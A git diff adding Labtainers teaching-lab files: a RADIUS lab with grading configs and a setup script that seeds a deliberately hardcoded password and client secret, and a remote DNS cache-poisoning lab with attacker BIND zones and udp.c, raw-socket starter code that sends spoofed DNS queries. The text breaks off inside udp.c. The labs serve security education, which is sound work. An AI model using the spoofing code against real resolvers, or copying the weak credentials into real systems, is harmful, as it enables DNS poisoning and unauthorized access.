a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/read_first.txt new file mode 100644 index 000000000..f017054da --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/radius.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/goals.config new file mode 100644 index 000000000..498f13270 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/goals.config @@ -0,0 +1,13 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# +# NOTE: a boolean opeartor would not be appropriate because the +# result values are from different timestamp sets. +# +#DOC Student logged into controller1 +controller1 = count_greater : 0 : (_client1_controller1, _client2_controller1) +#DOC Student logged into controller2 -- implies controller2 as added to the radius clients +controller2 = count_greater : 0 : (_client1_controller2, _client2_controller2) + +changed_pwd = boolean : ( _logged_in and_not _hardcoded ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/results.config new file mode 100644 index 000000000..cbd903c20 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/instr_config/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +_client1_controller2 = client1:control_admin.stdout : CONTAINS : Welcome to the controller2 +_client2_controller2 = client2:control_admin.stdout : CONTAINS : Welcome to the controller2 +_client1_controller1 = client1:control_admin.stdout : CONTAINS : Welcome to the controller1 +_client2_controller1 = client2:control_admin.stdout : CONTAINS : Welcome to the controller1 + +_hardcoded = radius:radiusd.stdout : CONTAINS : User-Password = "hardcoded_password" +_logged_in = radius:radiusd.stdout : CONTAINS : pap: User authenticated successfully + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_bin/fixlocal.sh new file mode 100755 index 000000000..e450ba677 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_bin/fixlocal.sh @@ -0,0 +1,22 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo tee -a /etc/raddb/clients.conf << EOT +client controller1 { + ipaddr = 172.25.0.10 + secret = testing123 +} +EOT + +sudo sudo tee -a /etc/raddb/users << EOT + +cadmin Cleartext-Password := "hardcoded_password" + Reply-Message := "Hello, %{User-Name}" + +EOT diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_bin/student_startup.sh new file mode 100755 index 000000000..778538eb6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_bin/student_startup.sh @@ -0,0 +1,13 @@ +id | grep root >>/dev/null +result=$? +if [[ $result -ne 0 ]]; then +cat << EOF +Use this command: + radiusd -X +to start the radius server in debug mode. +Use ctrl-C to stop the server. + +Radius configuration files are in /etc/raddb +EOF +sudo su - +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_bin/treataslocal new file mode 100644 index 000000000..29418d57e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_bin/treataslocal @@ -0,0 +1 @@ +radiusd diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/sbin/faux_init new file mode 100755 index 000000000..1d6b3cedc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/radius/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start +### Uncomment the while loop below +### if it is necessary to make sure parameterization has happened + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +###while [ ! -d "$PERMLOCKDIR" ] +###do +### sleep 2 +###done + +# PUT any daemon start (that need parameterization after while loop) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_bin/fixlocal.sh new file mode 100755 index 000000000..209406141 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_bin/fixlocal.sh @@ -0,0 +1,22 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo sed -i '/directory/a dump-file "/var/cache/bind/dump.db";\nforwarders {\n192.168.0.1;\n};\nquery-source port 33333;' /etc/bind/named.conf.options + +sudo sed -i '/dnssec-validation/s/^/\/\//' /etc/bind/named.conf.options +sudo sed -i '/dnssec-validation/a dnssec-enable no;' /etc/bind/named.conf.options +sudo tee -a /etc/bind/named.conf.default-zones << EOL +zone "ns.dnslabattacker.net" { +type master; +file "/etc/bind/db.attacker"; +}; +EOL +sudo chown bind:bind /var/cache/bind/* +sleep 3 +sudo /etc/init.d/bind9 restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_system/etc/bind/db.attacker b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_system/etc/bind/db.attacker new file mode 100644 index 000000000..2c3f37255 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_system/etc/bind/db.attacker @@ -0,0 +1,14 @@ +; +; BIND data file for local loopback interface +; +$TTL 604800 +@ IN SOA localhost. root.localhost. ( + 2 ; Serial + 604800 ; Refresh + 86400 ; Retry + 2419200 ; Expire + 604800 ) ; Negative Cache TTL +; +@ IN NS ns.dnslabattacker.net. +@ IN A 203.0.113.3 +@ IN AAAA ::1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_system/etc/rc.local new file mode 100755 index 000000000..7a96565b6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_system/etc/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.168.0.1 +echo "192.168.0.1" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_system/sbin/faux_init new file mode 100755 index 000000000..dc2caf1b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/apollo-dns/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/bind9 start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_bin/fixlocal.sh new file mode 100755 index 000000000..6873c3fe9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_bin/fixlocal.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/etc/bind/example.com.db b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/etc/bind/example.com.db new file mode 100755 index 000000000..f1b615a0c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/etc/bind/example.com.db @@ -0,0 +1,15 @@ +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) + +@ IN NS ns.dnslabattacker.net. +@ IN MX 10 mail.example.com. + +www IN A 1.1.1.1 +mail IN A 1.1.1.2 +*.example.com. IN A 1.1.1.100 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/etc/bind/named.conf.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/etc/bind/named.conf.local new file mode 100644 index 000000000..0330acb37 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/etc/bind/named.conf.local @@ -0,0 +1,5 @@ +zone "example.com" IN { + type master; + file "/etc/bind/example.com.db"; +}; + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/etc/rc.local new file mode 100644 index 000000000..2e9b4d1d2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/etc/rc.local @@ -0,0 +1,2 @@ +#!/bin/bash +echo "nameserver 203.0.113.10" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/sbin/faux_init new file mode 100755 index 000000000..b8b102f97 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/_system/sbin/faux_init @@ -0,0 +1,17 @@ +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/bind9 start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/udp.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/udp.c new file mode 100755 index 000000000..d2abde90b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/attacker/udp.c @@ -0,0 +1,427 @@ +// ----udp.c------ +// This sample program must be run by root lol! +// +// The program is to spoofing tons of different queries to the victim. +// Use wireshark to study the packets. However, it is not enough for +// the lab, please finish the response packet and complete the task. +// +// Compile command: +// gcc udp.c -o udp +// +// + + #include + + #include + + #include + + #include + + #include + #include + #include + #include + #include +#include + // The packet length + + #define PCKT_LEN 8192 + #define FLAG_R 0x8400 + #define FLAG_Q 0x0100 + + + + // Can create separate header file (.h) for all headers' structure + + // The IP header's structure + + struct ipheader { + + unsigned char iph_ihl:4, iph_ver:4; + + unsigned char iph_tos; + + unsigned short int iph_len; + + unsigned short int iph_ident; + + // unsigned char iph_flag; + + unsigned short int iph_offset; + + unsigned char iph_ttl; + + unsigned char iph_protocol; + + unsigned short int iph_chksum; + + unsigned int iph_sourceip; + + unsigned int iph_destip; + + }; + + + + // UDP header's structure + + struct udpheader { + + unsigned short int udph_srcport; + + unsigned short int udph_destport; + + unsigned short int udph_len; + + unsigned short int udph_chksum; + + }; + struct dnsheader { + unsigned short int query_id; + unsigned short int flags; + unsigned short int QDCOUNT; + unsigned short int ANCOUNT; + unsigned short int NSCOUNT; + unsigned short int ARCOUNT; +}; +// This structure just for convinience in the DNS packet, because such 4 byte data often appears. + struct dataEnd{ + unsigned short int type; + unsigned short int class; +}; + // total udp header length: 8 bytes (=64 bits) + + + + +unsigned int checksum(uint16_t *usBuff, int isize) +{ + unsigned int cksum=0; + for(;isize>1;isize-=2){ + cksum+=*usBuff++; + } + if(isize==1){ + cksum+=*(uint16_t *)usBuff; + } + + + return (cksum); +} + +// calculate udp checksum +uint16_t check_udp_sum(uint8_t *buffer, int len) +{ + unsigned long sum=0; + struct ipheader *tempI=(struct ipheader *)(buffer); + struct udpheader *tempH=(struct udpheader *)(buffer+sizeof(struct ipheader)); + struct dnsheader *tempD=(struct dnsheader *)(buffer+sizeof(struct ipheader)+sizeof(struct udpheader)); + tempH->udph_chksum=0; + sum=checksum( (uint16_t *) &(tempI->iph_sourceip) ,8 ); + sum+=checksum((uint16_t *) tempH,len); + + sum+=ntohs(IPPROTO_UDP+len); + + + sum=(sum>>16)+(sum & 0x0000ffff); + sum+=(sum>>16); + + return (uint16_t)(~sum); + +} + // Function for checksum calculation. From the RFC, + + // the checksum algorithm is: + + // "The checksum field is the 16 bit one's complement of the one's + + // complement sum of all 16 bit words in the header. For purposes of + + // computing the checksum, the value of the checksum field is zero." + + unsigned short csum(unsigned short *buf, int nwords) + + { // + + unsigned long sum; + + for(sum=0; nwords>0; nwords--) + + sum += *buf++; + + sum = (sum >> 16) + (sum &0xffff); + + sum += (sum >> 16); + + return (unsigned short)(~sum); + + } + + + + + + + + + + + + +int main(int argc, char *argv[]) +{ + + + +// This is to check the argc number + if(argc != 3){ + + printf("- Invalid parameters!!!\nPlease enter 2 ip addresses\nFrom first to last:src_IP dest_IP \n"); + + exit(-1); + + } + + +// socket descriptor + int sd; + +// buffer to hold the packet + char buffer[PCKT_LEN]; + +// set the buffer to 0 for all bytes + memset(buffer, 0, PCKT_LEN); + + // Our own headers' structures + + struct ipheader *ip = (struct ipheader *) buffer; + + + struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader)); + + + struct dnsheader *dns=(struct dnsheader*) (buffer +sizeof(struct ipheader)+sizeof(struct udpheader)); + +// data is the pointer points to the first byte of the dns payload + char *data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)); + + + +//////////////////////////////////////////////////////////////////////// +// dns fields(UDP payload field) +// relate to the lab, you can change them. begin: +//////////////////////////////////////////////////////////////////////// + +//The flag you need to set + + dns->flags=htons(FLAG_Q); +//only 1 query, so the count should be one. + dns->QDCOUNT=htons(1); + + + + + + + +//query string + strcpy(data,"\5aaaaa\7example\3edu"); + int length= strlen(data)+1; + + + +//this is for convinience to get the struct type write the 4bytes in a more organized way. + + struct dataEnd * end=(struct dataEnd *)(data+length); + end->type=htons(1); + end->class=htons(1); + + + + + +///////////////////////////////////////////////////////////////////// +// +// DNS format, relate to the lab, you need to change them, end +// +////////////////////////////////////////////////////////////////////// + + + + + + + + + + +/************************************************************************************* +Construction of the packet is done. +now focus on how to do the settings and send the packet we have composed out +***************************************************************************************/ + // Source and destination addresses: IP and port + + struct sockaddr_in sin, din; + + int one = 1; + + const int *val = &one; + + dns->query_id=rand(); // transaction ID for the query packet, use random # + + + + + // Create a raw socket with UDP protocol + + sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP); + + +if(sd<0 ) // if socket fails to be created +printf("socket error\n"); + + + // The source is redundant, may be used later if needed + + // The address family + + sin.sin_family = AF_INET; + + din.sin_family = AF_INET; + + // Port numbers + + sin.sin_port = htons(33333); + + din.sin_port = htons(53); + + // IP addresses + + sin.sin_addr.s_addr = inet_addr(argv[2]); // this is the second argument we input into the program + + din.sin_addr.s_addr = inet_addr(argv[1]); // this is the first argument we input into the program + + + + // Fabricate the IP header or we can use the + + // standard header structures but assign our own values. + + ip->iph_ihl = 5; + + + ip->iph_ver = 4; + + + ip->iph_tos = 0; // Low delay + + + unsigned short int packetLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)); // length + dataEnd_size == UDP_payload_size + + ip->iph_len=htons(packetLength); + + ip->iph_ident = htons(rand()); // we give a random number for the identification# + + + ip->iph_ttl = 110; // hops + + ip->iph_protocol = 17; // UDP + + // Source IP address, can use spoofed address here!!! + + ip->iph_sourceip = inet_addr(argv[1]); + + // The destination IP address + + ip->iph_destip = inet_addr(argv[2]); + + + + // Fabricate the UDP header. Source port number, redundant + + udp->udph_srcport = htons(40000+rand()%10000); // source port number, I make them random... remember the lower number may be reserved + + // Destination port number + + udp->udph_destport = htons(53); + + + udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)); // udp_header_size + udp_payload_size + + + + + + + + + // Calculate the checksum for integrity// + + ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader)); + + + udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader)); +/*******************************************************************************8 +Tips + +the checksum is quite important to pass the checking integrity. You need +to study the algorithem and what part should be taken into the calculation. + +!!!!!If you change anything related to the calculation of the checksum, you need to re- +calculate it or the packet will be dropped.!!!!! + +Here things became easier since I wrote the checksum function for you. 